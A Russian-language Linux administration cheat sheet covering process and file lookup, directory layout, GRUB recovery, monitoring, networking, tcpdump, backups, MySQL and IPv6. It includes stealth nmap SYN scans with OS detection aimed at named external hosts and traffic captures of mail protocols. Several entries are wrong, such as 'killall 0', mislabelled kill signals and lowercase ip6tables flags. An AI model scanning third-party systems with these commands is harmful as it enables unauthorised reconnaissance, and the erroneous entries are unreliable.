USER CMD PID FD MOUNT INUM MODE SZ|DV R/W
root Xorg 1252 root / 2 drwxr-xr-x 512 r
root Xorg 1252 text /usr 216016 -rws--x--x 1679848 r
root Xorg 1252 0 /var 212042 -rw-r--r-- 56987 w
Найти файл с inum 212042 в директории /var можно так:
# find -x /var -inum 212042
/var/log/Xorg.0.log
________________________________________________________________
Как найти открытый файл в директории с помощью fuser или lsof
# fuser -m /home # Список процессов имеющих доступ к /home
# lsof /home
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
tcsh 29029 eedcoba cwd DIR 0,18 12288 1048587 /home/eedcoba (guam:/home)
lsof 29140 eedcoba cwd DIR 0,18 12288 1048587 /home/eedcoba (guam:/home)
Найти по PID приложения:
ps ax | grep Xorg | awk '{print $1}'
3324
# lsof -p 3324
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 3324 root 0w REG 8,6 56296 12492 /var/log/Xorg.0.log
По имени файла:
# lsof /var/log/Xorg.0.log
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 3324 root 0w REG 8,6 56296 12492 /var/log/Xorg.0.log
________________________________________________________________
Как редактировать список автозагрузки сервисов?
Для поклонников основанных на RedHat и Fedora дистрибутивов есть замечательная программа sysv-rc-conf. Установим ее:
root@linux# aptitude install sysv-rc-conf
Однако можно сделать тоже самое и вручную. Для этого достаточно сделать нужный файл исполняемым или наоборот, если нужно отключить автозагрузку сервиса, снять бит исполняемости:
root@linux# chmod +x /etc/init.d/foo
root@linux# chmod -x /etc/init.d/bar
Остальные могут воспользоваться "изкоробочной" утилитой update-rc.d
Не забывайте, что по умолчанию Debian использует второй уровень автозагрузки (man init, man inittab).
________________________________________________________________
Каталоги Linux
/bin - в этом каталоге размещаются утилиты (исполняемые файлы) для работы на уровне системы.
Из примеров можно привести ls, date, cp, pwd и т.д.
/sbin - в этом каталоге размещены системные утилиты и программы,
которые предназначены для управления самой системой. Пример: shutdown, init, ifconfig.
/boot - в этом каталоге размещены файлы запуска системы: ядро, файлы GRUB, initrd, а также файл конфигурации ядра.
initrd - это образ RAM-диска который используется для того, чтобы смонтировать временную
файловую систему на время загрузки ядра. По сути initrd содержит необходимые модули которые позволят
смонтировать реальную файловую систему и продолжить инициализацию и загрузку системы.
/boot/grub/ - каталог содержит загрузчик GRUB и его конфигурационные файлы.
/etc - в этом каталоге находится большинство конфигурационных файлов системы.
Содержим много подкаталогов каждый их которых отвечает за определенную область.
рассмотрим некоторые из них. /alsa - расширенная поддержка звуковых устройств, /sane.d - поддержка сканера,
/X11 - файлы графической подсистемы, /init.d - скрипты, которые управляют службами, /rc0.d - /rc6.d -
содержат скрипты, которые должны выполнятся на соответствующем уровне (runlevel), /cron.d- файлы службы
периодического запуска процессов, /cups - файлы службы печати, /samba - конфигурационные файлы одноименной системы,
/udev - файлы одноименной подсистемы.
/home - в этом каталоге размещаются домашние каталоги пользователей зарегистрированных в системе.
Как правило названия домашних каталогов совпадает с логином пользователя.
/root - каталог пользователя root.
/selinux - каталог одноименной подсистемы, которая появилась не так давно и позволяет
более жестко контролировать права пользователей (в том числе и рута) для большей безопасности.
/lib - в этом каталоге хранятся библиотеки операционной системы и приложений.
/lib/modules/ - каталог содержащий модули ядра. В этом каталоге расположены подкаталоги,
которые совпадают с версиями ядра, которые были установлены в системе. То есть для каждой версии
ядра есть свой набор модулей. Это очень важно и нужно обратить на это внимание. Часто при компиляции
ядра забывают изменять версию, новое ядро при загрузке использует модули предыдущей версии и система
не загружается. Текущую версию ядра можно узнать по команде uname -r, возвращаемая версия обязательно
совпадет с названием одного из каталогов в /lib/modules/ .
/lib/modules/версия ядра/kernel/drivers/ - модули, которые поддерживают отдельные устройства
(видеоадаптеры, сетевые карты, звуковые карты и т.д.). Например, в /lib/modules/2.6.28-15-generic/kernel/drivers/net/
находятся модули поддержки различных сетевых карт.
/lib/modules/2.6.28-15-generic/kernel/fs/ - модули поддержки различных файловых систем.
/lib/modules/2.6.28-15-generic/kernel/net/ - модули поддержки различных типов сетей (Apple Talk, X25, IPX и другие).
/mnt - каталог предназначен для монтирования в нем блочных устройств, которые не являются частью
cистемы Linux. Например, Windows-раздел жесткого диска не является частью Linux и монтируется в именно в этот каталог.
Также несколько лет назад в эту директорию монтировались и CDROM и Floppy-диски.
Сейчас могут монтироваться либо в /media либо непосредственно в корень. Зависит от дистрибутива.
/media - предназначен для монтирования блочных устройств которые подключаются физически к системе в процессе ее работы.
Самые распространенные из устройств это флешки, внешние накопители. Монтируются устройства в этот каталог как правило автоматически подсистемой udev.
/usr - в этом каталоге сохраняются все приложения (не путать с утилитами). Файлы Linux-приложений в
отличии отWindows-приложений хранятся в соответствующих папках в зависимости от типа. Поэтому в каталоге
/usr есть такие подкаталоги как /etc - для файлов конфигураций, /bin - для исполняемых файлов, /lib -
библиотеки приложений и другие. То есть получается, что /usr - это как бы корень для приложений. Также
хочу отметить, что во многих дистрибутивах конфигурационные файлы приложений могут располагаться не в
/lib/etc/, а в /etc, и каталога /lib/etc/ может не быть. В каталоге /usr также располагаются различные
службы такие как apache, bind и другие, которые не имеют непосредственного отношения к Linux. Для приложений,
которым в силу определенных причин необходимо хранить все свои файлы в одном каталоге (например это различные
кроссплтаформенные приложения) придумали директорию /opt. Например, там могут быть такие
приложения как OpenOffice, Picasa, Chrome.
/tmp - Каталог для хранения временных файлов, которые необходимы во время работы программ.
В этой директории временные файлы существуют пока работает приложение, которое их создало.
Как только приложения прекращает работу временные файлы удаляются. Временные файлы могут содержать
различную информацию и некоторые из них могут располагаться в каталоге /home/имя пользователя/tmp/.
/var - в этом каталоге хранятся различные системные файлы такие как, например, журналы
различных подсистем или буферные каталоги принтеров, электронной почты и т.д. Для системного
администратора особое внимание на каталог/var/log/ где как раз и содержаться файлы-журналы.
Так как эти файлы постоянно растут, то необходимо внимательно следить за свободным местом на
жестком диске где размещен каталок /var. Рассмотрим назначение еще нескольких подкаталогов находящихся
в /var. /var/lock/ - здесь храняться файлы котороые сигнализируют о блокировке того или иного ресурса
системы. /var/run/ - в этом каталоге запущенные службы создают подкаталоги в которых содержится файл и
идентификатором процесса службы. Например, в файле /var/run/cron.pid содержится идентификатор процесса
службыcron. Команды cat /var/run/cron.pid и ps ax | grep cron покажут, что числа совпадают. /var/mail/ -
файлы почтовых ящиков пользователей. /var/spool/ - в этом каталоге сохраняются очереди различных программ
или служб. Например,/var/spool/cups/ - содержит очереди заданий для принтеров.
________________________________________________________________
Восстановление grub
# mount /dev/sda6 /mnt # монтировать Linux partion на /mnt
# mount --bind /proc /mnt/proc # монтировать подсистему proc в /mnt
# mount --bind /dev /mnt/dev # монтировать устройства в /mnt
# chroot /mnt # сменить корневую директрорию на Linux partition
# grub-install /dev/sda # переустановить grub со старыми опциями
________________________________________________________________
для рута отключим возможность логина по SSH в /etc/ssh/sshd_config:
sudo nano /etc/ssh/sshd_config
PermitRootLogin yes → PermitRootLogin no
________________________________________________________________
atop
Atop имеет два режима работы — сбор статистики и наблюдение за системой в реальном времени.
В режиме сбора статистики atop запускается как демон и раз в N времени (обычно 10 мин)
скидывает состояние в двоичный журнал. Потом по этому журналу atop'ом же (ключ -r и имя лог-файла)
можно бегать вперёд-назад кнопками T и t, наблюдая показания atop'а с усреднением за 10 минут в любой интересный момент времени.
В отличие от top отлично знает про существование блочных устройств и сетевых интерфейса,
способен показывать их загрузку в процентах (на 10G, правда, процентов не получается, но хотя бы показывается количество мегабит).
Незаменимое средство для поиска источников лагов на сервере, так как сохраняет не только статистику загрузки системы,
но и показатели каждого процесса — то есть «полистав» до нужного момента времени можно увидеть, кто этот
счастливый момент с LA > 30 создал. И что именно было причиной — IO программ, своп (нехватка памяти),
процессор или что-то ещё. Помимо большего количества информации ещё способен двумя цветами подсказывать,
какие параметры выходят за разумные пределы.
htop
В отличие от atop, htop не собирает статистику и просто показывает текущее состояние.
iotop
Специализированная утилита для анализа потребления дисковой полосы.
iftop
Специализированная утилита, позволяющая наблюдать за трафиком в реальном времени.
Требует очень рутовых прав и pcap, т.к. работает почти аналогичо tcpdump'у. Показывает загруженность интерфейса.
sntop
Замечательная штука для скринсейвера или публичного монитора — по конфигу рассылает
пинги и показывает, если какой-то хост лёг.
xrestop
Монитор потребления ресурсов X-сервера разными приложениями, которые к нему подключились.
iptstate
Монитор contrack из iptables, показывает активные трансляции с возможностью их прибить.
________________________________________________________________
Демоны
init -Unix программа, которая порождает все остальные процессы.
biod -Работает совместно с удаленным nfsd для разрешения клиентских запросов NFS.
crond -Планировщик задач, работающий в фоновом режиме.
dhcpd -Динамически определяет конфигурацию TCP/IP для клиентов.
fingerd -Обеспечивает сетевой интерфейс для протокола finger, для использования команды finger.
ftpd -Служба FTP-запросов с удалённой системы. Прослушивает специальный порт, определённый в служебном файле для FTP.
httpd -Демон веб-сервера.
inetd -Прослеживает сетевые запросы. При допустимом запросе запускает фоновый процесс для обслуживания запроса.
xinetd -В некоторых системах используется расширенная версия
lpd -«Line Printer Daemon» (англ.) протокол управления пулом печати.
nfsd -Процесс NFS операторских запросов для клиентских систем. Исторически каждый nfsd демон поддерживает один запрос за раз, поэтому запускается несколько копий.
ntpd -NTP демон, который управляет синхронизацией времени по сети. xntpd снабжён 3-й версией стандарта NTP.
rpcbind -Обеспечивает преобразование remote procedure call (RPC), такой как ypbind.
sendmail -SMTP демон.
sshd -Прослушивает запросы secure shell от клиентов.
swapper -Копирует местный процесс в пространство swap для исправления физической страницы памяти для ядра. Также называется sched.
syslogd -Системный процесс записи различных системных сообщений.
syncd -Периодически синхронизирует установленные системные файлы с системной памятью.
xfsd -Обслуживает X11 шрифты для удалённых клиентов.
vhand -Освобождает страницы памяти для использования другими процессами. Также известен как «page stealing daemon»англ.
ypbind -Находит сервер для NIS домена и запоминает информацию в файле.
jackd -Аудио сервер
smbd, nmbd, winbindd -Серверы, предоставляющие доступ к файлам и принтерам для клиентских компьютеров с Windows по родному для тех протоколу.
Близки к службе "Сервер" в Windows (в W'XP да, для остальных хорошо бы уточнить, т.к. для 16-битных Windows такой службы
точно не было; да и в W95/98/ME, скорее всего, тоже).
cupsd -Сервер работы с печатью. Как доступ к удаленным принтерам, доступ к локальным, доступ извне к локальным.
mysqld -Демон базы данных MySQL
dbus-daemon -Демон для работы с шиной данных
________________________________________________________________
______________________________________________________________
СИСТЕМА
cat /etc/issue - как узнать версию debian\ubuntu
lsb_release -a - как узнать версию debian\ubuntu
cat /etc/lsb-release -как узнать версию debian\ubuntu
cat /etc/debian_version - как узнать версию debian\ubuntu
ps -uax - посмотреть процессы
ps -uaxf - посмотреть процессы
ps -eafw - отобразить запущенные процессы, используемые ими ресурсы и другую полезную информацию
ps axjf - Процессы как дерево процессов
ps aux | grep 'ss[h]' - Найти все ssh pids без grep pid
pstree - отобразить дерево процессов
killall 0 httpd - Выводит на экран текущее состояние процесса httpd?!1
kill -9 98989 - "убить" процесс с PID 98989 "на смерть" (без соблюдения целостности данных)
kill -KILL 98989 - "убить" процесс с PID 98989 "на смерть" (без соблюдения целостности данных)
killall -9 name - убить процесс и все что с ним связано
useradd -m -d /etc/var/www -s /bin/bash -u 1223 userwww -создать пользователя userwww с домашним каталогом www и шелом bash
usermod -s /bin/sh user - назначить user шелл sh
userdel -rf user - удалить пользователя user вместе с его каталогом
groupdel groupgg - удалить группу groupgg
groupadd groupgg - добавить группу groupgg
gpasswd -a user2 groupgg - добавить пользователя user2 в группу groupgg
id - узнать свой id
id user - узнать id пользователя user
getent passwd - как посмотреть всех пользователей
w - кто сейчас из пользователей в системе
who - кто сейчас из пользователей в системе
fuser -va /dev/tty - включить подробные сообщения и показать кто обращается к файлу
fuser -k /dev/tty1 - завершить процессы обращающиеся к этому файлу
fuser -l /dev/tty1 - показать доступные имена сигналов
fuser -va 22/tcp - Процессы использующие порт 22
fuser -va /home - Процессы работающие с разделом /home
uname -r - показать ядро системы
lsusb -t - показать доступные usb устройства
dmesg |less - все о загрузке системы и ее устройств с временными метками (/var/log/dmesg)
lsmod - покажет загруженные модули ядра
modinfo e1000 - посмотреть информацию об модуле ядра
modprobe - программа для подключения и отключения модулей ядра
rcconf - управление демонами
sys-rc-conf - управление демонами
update-rc.d -для создания ссылок загрузки. Runlevel 3 - загрузка без иксов. Runlevel 5 - загрузка с иксами
dpkg-reconfigure tzdata изменить временную зону
date --set xx:xx установить время
date 041217002007.00* - установить системные дату и время ММДДЧЧммГГГГ.СС (МесяцДеньЧасМинутыГод.Секунды)
date -R - Проверить текущее время и часовой пояс
clock -w - сохранить системное время в BIOS
grep MemTotal /proc/meminfo - Информация о RAM
free -m - Используемая и свободная оперативная память (-m for MB)
top - Статистика процессов cpu
htop - Текущее состояние системы
iotop - Анализа потребления дисковой полосы
atop - Статистика загрузки cpu, блочных устройств, сетевых интерфейсов
iftop - Наблюдение за трафиком в реальном времени (сеть)
powertop - Показывает время, затраченное на обслуживание процессором
dnstop - Анализатор DNS-трафика на интерфейсе
iptstate - Монитор contrack из iptables, показывает активные трансляции с возможностью их убить
mpstat 1 - Статистика загрузки процессора
vmstat 2 - статистика использования виртуальной памяти
iostat 2 - Статистика I/O (2 s интервал)
tail -n 500 /var/log/messages - Последние 500 kernel/syslog сообщений
tail /var/log/warn - Предупреждения об ошибках, см. syslog.conf
pgrep -l sshd - Найти PIDs процессов по имени (части имени)
echo $$ - PID нашего shell
pmap PID - Карта памяти процесса (поиск утечки памяти), используемые библиотеки
mount | column -t - Смонтированные файловые системы
df - Свободное пространство на дисках
cat /proc/partitions - Все зарегистрированные разделы (Linux)
______________________________________________________________
Top, htop
Top - выводит информацию в реальном времени о запущенных процессах.
Htop - продвинутая версия top, ставится из репозиториев.
<u> [username] Показывает процессы принадлежащие пользователю username
<k> [pid] Убить процесс с pid
<1> Покажет статистику использования процессоров
<R> Сортировка
______________________________________________________________
Kill, signals
ping -i 60 ya.ru > ping_ya.ru.log & (создали процесс с пидом [1] 4712)
kill -s TERM 4712 - также kill -15 4712
killall -1 httpd - Завершить HUP процесс по имени
pkill -9 http - Завершить TERM процесс по имени (части имени)
pkill -TERM -u www - Завершить TERM процессы принадлежащие www
fuser -k -TERM -m /home - Завершить все процессы использующие /home (для umount)
Сигналы:
-1 HUP - Дать отбой, перегрузка конфигурационных файлов и перезапуск программы
-2 INT - Прервать
-3 QUIT - Выйти
-9 KILL - Прекратить все выполняющиеся действия и завершить работу
-15 TERM - Мягкое завершение с удаление порожденных процессов и закрытием файлов
______________________________________________________________
Ограничения shell/script
ulimit -a - Смотрим ограничения
ulimit -n 10240 - Меняем ограничение на количество открытых файлов, только shell
______________________________________________________________
Ограничения user/process
cat /etc/security/limits.conf
* hard nproc 250 - Ограничения пользовательских процессов
asterisk hard nofile 409600 - Ограничения на открытые файлы приложения
______________________________________________________________
Ограничения на всю систему
sysctl -a - Смотрим системные ограничения
sysctl fs.file-max - Максимальное количество открытых файлов
sysctl fs.file-max=102400 - Меняем максимальное количества открытых файлов
echo "1024 50000" > /proc/sys/net/ipv4/ip_local_port_range - диапазон портов
cat /etc/sysctl.conf
fs.file-max=102400 - Ввод по умолчанию sysctl.conf
cat /proc/sys/fs/file-nr - Сколько дескрипторов файлов используется
______________________________________________________________
gpg --keyserver wwwkeys.us.pgp.net --recv-keys ключ
gpg --armor --export ключ | apt-key add -
apt-get update
______________________________________________________________
dpkg - l -получить список установленных пакетов
dpkg -i namepacket (-i install)
dpkg -r -P namepaket (-r remove -P purge)
______________________________________________________________
apt-get install --reinstall proga -переустановка программы
apt-get remove --purge proga -удаление месте с конфигурациями
apt-cache show пакет -показывает сводку на указанный пакет
apt-get check -проверяет состояние зависимостей в системе.
apt-get -f install -Попытка привести систему в замкнутый, логичный вид
apt-get dist-upgrade -модернизировать систему
______________________________________________________________
hdparm -I /dev/sda - Информация о IDE/ATA (Linux)
fdisk /dev/ad2 - Работа с таблицей разделов
smartctl -a /dev/ad2 - Отобразить информацию SMART
smartctl -A /dev/hda - S.M.A.R.T smartmontools -нужен пакет (еще есть gsmartcontrol+smartmontools+libatasmart)
hdparm -i /dev/sda - вывести характеристики жесткого диска серийный номер диска и тд
hdparm -t /dev/sda - протестировать производительность чтения данных с жесткого диска
hdparm -tT /dev/sda - протестировать производительность чтения данных с жесткого диска
hdparm -d 1 /dev/hdX - проверить режим дма (ускорит работу харда)
hdparm -k 1 /dev/hdX - задать режим дма (ускорит работу харда)
touch -t 0712250000 fileditest - поменять дату файла fileditest
tail -f /var/log/messages - следим за логами системы
cat /var/lib/dhcp/dhcpd.leases -посмотреть какие адреса раздал dhcpd (DHCP сервер)
cat /proc/net/dev - сеть какие пакеты передаются
______________________________________________________________
Производительность дисков
time dd if=/dev/ad4s3c of=/dev/null bs=1024k count=1000
time dd if=/dev/zero bs=1024k count=1000 of=/home/1Gb.file - Читаем и пишим 1GB в /home (/dev/ad4s3c)
hdparm -tT /dev/hda - протестировать производительность чтения данных с жесткого диска
______________________________________________________________
СЕТЬ
trafshow посмотреть активность сети
ss -s Мониторинг сетевых соединений. похожа на netstat
ss -l Информация об ожидающих соединений сокетах
ss -lp Информация об ожидающих соединений сокетах, а также именах процессов, их использующих
ss -at Информация обо всех задействованных TCP сокетах
ss -au Информация обо всех задействованных UDP сокетах
ss -o state established '( dport = :smtp or sport = :smtp )' Информация обо всех установленных SMTP-соединениях
ss -o state established '( dport = :http or sport = :http )' Информация обо всех установленных HTTP-соединениях:
ss -x src /tmp/.X11-unix/* Локальные процессы, подключённые к X-серверу:
ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 202.54.1/24 TCP-сокеты, находящиеся в состоянии FIN-WAIT-1 для соединений из подсети
nmap -v -A 192.168.0.101
nmap -v -sP 192.168.0.101/24
nmap -O target.host.com
nmap -vv host.target.com
nmap -sP 192.168.1.0/24 - Узнать занятые IP в сети 1.0/24 (IP, MAC, hostname)
nmap -sS -sV -O tager.ru - Скрытое SYN сканирование с определением типа и версии ОС
nmap -sX -p 22 192.168.10.10-250 -oN /data/host.txt - Сканирование машин с ip от 10 по 250 и запись резултата
netstat -nt
netstat -nlp |grep :25
netstat -i
netstat -apn --inet
netstat -ltpn --inet
netstat -tuep информация кто использует TCP и UDP (а также процесс и только для установленных соединений)
lsof -i udp информация кто использует UDP
lsof -i :22 информация кто использует 22 порт
route -n (p - serveces t - tcp ip l - udp)
ifconfig eth0 inet 192.168.0.78/24
route add default gw 192.168.0.1
route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1
route del -net 192.168.0.0 netmask 255.255.255.0 eth0
echo 1 > /proc/sys/net/ipv4/ip_forward
tcpdump -i eth0
tcpdump -n -i eth0 ether host mac
tcpdump -nl -i eth0 not port ssh and src \(192.168.1.10 or 192.168.1.15\)
tcpdump -n -i eth0 net 192.168.1.15 - трафик с/на IP
tcpdump -n -i eth0 net 192.168.1.0/24 - трафик с/в сеть
tcpdump -l > dump && tail -f dump - Вывод с записью в файл
tcpdump -i eth0 -w traffic.eth0 - Информация о трафике записывается в бинарный файл traffic.eth0
tcpdump -i eth0 -s 0 -w traffic.eth0 - Запись + загрузка в бинарник
tcpdump -r traffic.eth0 - Читаем из файла
tcpdump port 80 - Весь трафик на 80 порт и ответы
tcpdump host google.com - Весь с/на google.com
tcpdump -i eth0 -X port \(110 or 143\) - Проверка pop и imap на безопасность
tcpdump -n -i eth0 icmp - Ловим pings
tcpdump -i eth0 -s 0 -A port 80 | grep GET - (-s 0 весь пакет, -A для ASCII)
ethtool -s eth0 speed 1000 duplex full autoneg off
iperf -s 127.0.0.1 поднять сервер для теста скорости
iperf -s -p 8080 поднять сервер для теста скорости
iperf -c 192.168.13.243 проверить скорость
iperf -c 172.16.12.1 -p 8080 -t 180 проверить скорость
host ya.ru
arping 192.168.0.1
arping -i eth0 f0:7d:68:95:f1:c8
ping 192.168.0.1
tracepath -n ya.ru
traceroute -ln ya.ru (как в винде покажит)
xfreerdp -k en_us -f -u user -p password server (RDP client)
______________________________________________________________
Отключаем ответы сервера на ping
sysctl net.ipv4.icmp_echo_ignore_all
sysctl -w net.ipv4.icmp_echo_ignore_all=1 - отключаем ответ на ping
чтоб сохранялось при перегрузке
nano /etc/sysctl.conf - проверяем значение
net.ipv4.icmp_echo_ignore_all=1 - выставляем 1 и сохраняем
______________________________________________________________
ФАЙЛЫ
sync -заставит записать на диск сразу
iotop - дисковая активность
______________________________________________________________
Поиск текста и файлов.
grep -Ev "^#|^$" - покажет файл без комментариев
grep -Ev "^#|^$" filename > filename.txt - вот так можно вырезать комментарии
grep -rnw function_name /myprogram/1/ - пищит в каталоге /myprogram/1/ фразу function_name и покажет номер строки этой фразы
grep -w needle haystack.txt - поиск слова
grep slovoichu /gde/icllly.txt - поиск слова
find -name "*.txt" - найти все файлы в названиях которых есть .txt
find /root -name "*.txt" -exec grep -H "123" "{}" \; - найти в каталоге /root все файлы .txt и показать файл в котором есть текст 123
find . -type d -exec chmod 755 {} \; найти все директории и дать пров 755
find . -type f -exec chmod 644 {} \; найти все файлы и дать прова 644
______________________________________________________________
Архивы
tar cf back.tar /home/user запаковка Z-tar.Z z-tar.gz j-tar.bz2
tar tf back.tar проверка
tar xf back.tar распаковка
tar tfv viruses-2010-05-18.tar.bz2 1>zxcvirus.txt просмотр архива и запись в файл описания
______________________________________________________________
Пример архивирования и восстановления
tar cvzpf /home/Backup`date +%y_%m_%d`.tgz --same-owner --exclude=/home/Backup.tgz --exclude=/home/error.log --exclude=/proc/* --exclude=/media/* --exclude=/dev/* --exclude=/mnt/* --exclude=/sys/* --exclude=/tmp/* / 2>/home/error.log
tar cvzpf /home/Backup-etc`date +%y_%m_%d`.tgz /etc 2>/home/error.log
tar xvzf /home/Backup.tgz -C / восстановление
______________________________________________________________
Клонирование
dd if=/dev/sda of=/dev/sdb bs=16M (if что of куда bs размер блока count сколько раз записывать)
dd if=/dev/sda of=/zxc/mbr.back bs=512 count=1 (backup mbr)
dd if=/zxc/mbr.back of=/dev/sda bs=512 count=1 (восстановления из backup)
______________________________________________________________
dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc - Создание ISO образа
Используем mkisofs для создания CD/DVD образа из файлов в папке.
Для преодоления ограничений на имена файлов:
-r разрешает Rock Ridge расширения для UNIX истем,
-J разрешает Joliet расширения используемые Microsoft ОС.
-L разрешает имена согласно ISO9660.
mkisofs -J -L -r -V TITLE -o imagefile.iso /path/to/dir
cdrecord -scanbus - Находим устройство для записи (1,0,0)
cdrecord dev=1,0,0 imagefile.iso - Запись
cdrecord dev=ATAPI -scanbus # Можно использовать native ATAPI
dd bs=1k if=imagefile.nrg of=imagefile.iso skip=300 -Конвертируем Nero .nrg файл в .iso
Nero просто добавляет 300Kb заголовок к нормальному iso
mount -o loop disk.iso /zzz - монтирование iso образа
______________________________________________________________
Синхронизация каталогов
rsync -a /dir1/dir2 /dir3 - будет создана иерархия /dir3/dir2/файлы
rsync -a /dir1/dir2/ /dir3 - будет создана иерархия /dir3/файлы
rsync -a $srv/ $srv:src
______________________________________________________________
Синхронизация каталогов ssh+rsync
rsync -avz --delete -e ssh логин@удалённый.хост:путь/откуда/ путь/куда -изменяется удалённый каталог, копируем его на локальную машину
rsync -avz --delete -e ssh путь/откуда/ логин@удалённый.хост:путь/куда -изменяется локальный каталог, копируем его на удаленную машину
______________________________________________________________
Синхронизация каталогов ftp
lftp -e 'mirror -e каталог-на-сервере локальный-каталог; bye;' -u логин,пароль удалённый.хост - синхронизировать локальный каталог с удалённым
lftp -e 'mirror -R локальный-каталог каталог-на-сервере; bye;' -u логин,пароль удалённый.хост - выложить локальный каталог на удалённый сервер
______________________________________________________________
vimtutor - программа для обучающая работе в vi
fdisk -l - показать доступные диски и разделы
du -h - показать занятое место в текущем каталоге
df -h - показать занятое место на всех дисках
df - Показать свободное пространство на дисках и смонтированные устройства
du -sh * - Размер каталога (листинг файлов и подкаталогов)
du -csh - Размер текущей директории
du -ks * | sort -n -r - Сортировать по размеру (kbytes)
ls -lSr - Показать файлы с сортировкой по размеру
wc -l filename - посчитать количество строк в файле
touch lol{1,2,3}.txt - создать пустые файлы lol1.txt lol2.txt lol3.txt
mkdir -p lol{1,2,3} - создать каталоги lol1 lol2 lol3
mkdir -p /root/hhh m{zxc1,zxc2,zxc3} - создать каталог /root/hhh и в нем каталоги mzxc1 nzxc2 mzxc3
mkdir -p /root/hhh/{zxc1,zxc2,zxc3} - создать каталог /root/hhh и в нем каталоги zxc1 zxc2 zxc3
dd if=/dev/zero of=filemy bs=10M count=1 - создать filemy размером 10Мб
split -b 1M filemy - разбить filemy на части размером 1 Мб с помощью опции -b
split -n 3 filemy - разрезание filemy на три части
head -n 23
tail -n 23
tail -n0 -f /var/log/syslog
cut
sort
cat
less
cp file1 file2
cp file1 file2 dir
cp (x*~x[3-5]) newdir - скопировать все файлы вида x* кроме x3 по x5
cp *(^m0) newdir - скопировать файлы модифицированные не сегодня
2>stderr
1>stdout
0>stdin
______________________________________________________________
vi Минимальный набор команд:
dd — удалить строку;
5dd — удалить 5 строк;
<esc>:x — выход с сохранением;
<esc>:q! — выход без сохранения изменений.
i — перейти в режим вставки;
a — перейти в режим вставки со следующего символа;
<esc> — выход из режима редактирования.
______________________________________________________________
nano - редактор файлов, более дружелюбный чем vim ;)
# nano /etc/hosts # просмотр и релактирование файла
# export EDITOR=nano # делаем nano редактором файлов по умолчанию
Ctrl-X - закрыть редактор
Ctrl-O - сохранить
Ctrl-C - номер строки\текущая позиция
Ctrl-W - поиск
Ctrl-W затем Ctrl-T - переход к строке №
Ctrl-K - вырезать строку
Ctrl-U - вставить из буфера
Alt-A - выделение (вне X)
Alt-6 - копировать в буфер
______________________________________________________________
Использование числовых суффиксов
Команда split позволяет создавать файлы с числовыми суффиксами вместо символьных.
Приведенная ниже команда создает файл для каждого символа в строке "linuxcareer.com".
Секрет заключается в том, что мы разрезаем файл, задавая размер части в байтах, а 1 байт эквивалентен 1 символу.
Также вместо символьных мы используем числовые суффиксы:
ls
echo linuxcareer.com | split -b 1 -d
ls
x00 x01 x02 x03 x04 x05 x06 x07 x08 x09 x10 x11 x12 x13 x14 x15
cat *
linuxcareer.com
______________________________________________________________
Бесконечный цикл показывать время каждую секунду
#!/bin/bash
while :;do clear ;date ;sleep 1;done
______________________________________________________________
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop.."
sleep 1
done
______________________________________________________________
#!/bin/bash
while true
do
echo "Press [CTRL+C] to stop.."
sleep 1
done
______________________________________________________________
#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap '' SIGQUIT
trap '' SIGTSTP
# display message and pause
pause(){
local m="$@"
echo "$m"
read -p "Press [Enter] key to continue..." key
}
# set an
while :
do
# show menu
clear
echo "---------------------------------"
echo " M A I N - M E N U"
echo "---------------------------------"
echo "1. Show current date/time"
echo "2. Show what users are doing"
echo "3. Show top memory & cpu eating process"
echo "4. Show network stats"
echo "5. Exit"
echo "---------------------------------"
read -r -p "Enter your choice [1-5] : " c
# take action
case $c in
1) pause "$(date)";;
2) w| less;;
3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
echo; pause;;
4) netstat -s | less;;
5) break;;
*) Pause "Select between 1 to 5 only"
esac
done
______________________________________________________________
ln -s /что "название линка" - нужно быть в той папке куда нужно сделать линк
rm /etc/udev/rules.d/70-pesistent-net.rules убить сетевушки и левые интерфесы
______________________________________________________________
mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап
mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql -востоновление
mysql -uroot -p -логинемся для управления mysql
CREATE DATABASE <имя базы>; -создать базу
CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; -создать базу + установить кодировку и тд
GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost' IDENTIFIED BY 'user_password'; -оздать нового пользователя и дать ему доступ к соответствующей базе
USE db_name; -Выбрать базу для работы
DROP DATABASE dbname; -Удалить базу данных
INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; -Скопировать данные из одной таблицы в другую
SHOW databases; -Вывести список баз данных, к которым пользователь имеет доступ:
SHOW tables; -Вывести список таблиц, для текущей выбранной базы:
DESCRIBE pet; -Посмотреть поля таблицы
SELECT * FROM users LIMIT 5 OFFSET 5; -Посмотреть данные в таблице
CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); -Создать таблицу
______________________________________________________________
ping6 -c4 -I eth0 ff02::1 узнать какие хосты могут использовать ipv6
ping6 ::1 пингануть локальный хост
::1 — это сокращение от 0000:0000:0000:0000:0000:0000:0000:0001. Любая непрерывная последовательность нулей может быть заменена на пару двоеточий, а любая четвёрка, состоящая из нулей, может быть заменена на один ноль
ssh phineas@fe80::221:97ff:feed:ef01%eth0
И опять же, если вы используете link-local адрес, то вы должны указать имя интерфейса с которого будете осуществлять подключение. Как показано выше, делается это путём добавления знака процента и имени интерфейса
ifconfig eth0 | grep "inet6 addr:" посмотреть адресс
ip -6 addr add 2001::1/64 dev eth0 назначить адресс
ip -6 addr del 2001::1/64 dev eth0 удалить адресс
# ip6tables -P OUTPUT DROP
# ip6tables -p INPUT DROP
# ip6tables -p FORWARD DROP
2001:db8:0000:0000:0000:0000:0000:0001
_____________|____|___________________
Network ID Subnet Interface ID
адреса из области 2001:0DB8::/32 предназначены для использования в экспериментах
